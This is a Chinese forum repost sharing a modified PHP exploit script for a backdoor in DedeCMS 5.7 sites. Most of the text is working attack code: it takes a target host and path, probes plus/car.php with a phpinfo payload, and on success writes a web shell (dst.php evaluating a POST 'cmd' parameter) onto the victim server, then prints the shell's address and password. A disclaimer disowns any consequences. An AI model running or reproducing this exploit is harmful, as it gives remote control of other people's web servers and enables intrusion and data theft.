DEDECMS 5.7 后门 exp再修改版

来源:互联网 发布:贵州大数据企业排名 编辑:程序博客网 时间:2024/05/21 20:25

别说明:在舞林给出的exp的基础上修改而来!使自定义目标网站和目录更方便。(http://forum.cnsec.org/thread-82493-1-1.html)

    先前发的那个修改版由于时间仓促没写判断目标是否存在漏洞的代码,刚才补上了。

PS:代码写的太烂,英语没学过几个单词,让大家见笑了,发现程序的bug欢迎提醒我。另外,写这个代码出于学习PHP的目的,如果有人用代码造成任何后果与本人无关。

受影响程序:被插入了后门代码的。

不废话了,上代码:

<?php 
$host=$argv[1];
$path=$argv[2];
$path=$path."plus/car.php";
$url=$path;
if(count($argv) < 3 ){
print_r('
Usage: php '.$argv[0].' host path
Example:
php '.$argv[0].' www.site.com /dede/
作者:舞林 http://t.qq.com/wulinlw
修改:txcbg http://t.qq.com/txcbg_
');
   exit;
   }
$data='$a=${@phpinfo()};';
$buffer = POST($host,80,$url,$data,30);
preg_match("/allow_url_fopen/i", $buffer, $arr_suc);

$str="allow_url_fopen";
if($arr_suc[0]==$str) {
echo "Congratulations,target exist this bug.\n";
$data='$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};';
$buffer = POST($host,80,$url,$data,30);
echo "shell:http://$host$argv[2]plus/dst.php,pass:cmd.";
 }
 else {
   echo "Sorry,target may  not exist this bug.";
   exit;
   }
function POST($host,$port,$path,$data,$timeout, $cookie='') {
 $buffer='';
    $fp = fsockopen($host,$port,$errno,$errstr,$timeout);
    if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno); 
 else {
        fputs($fp, "POST $path HTTP/1.0\r\n");
        fputs($fp, "Host: $host\r\n");
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($fp, "Content-length: ".strlen($data)."\r\n");
        fputs($fp, "Connection: close\r\n\r\n");
        fputs($fp, $data."\r\n\r\n");
       
  while(!feof($fp)) 
  {
   $buffer .= fgets($fp,4096);
  }  
  fclose($fp);
    } 
 return $buffer;

?> 
上两张效果图:




 

原创粉丝点击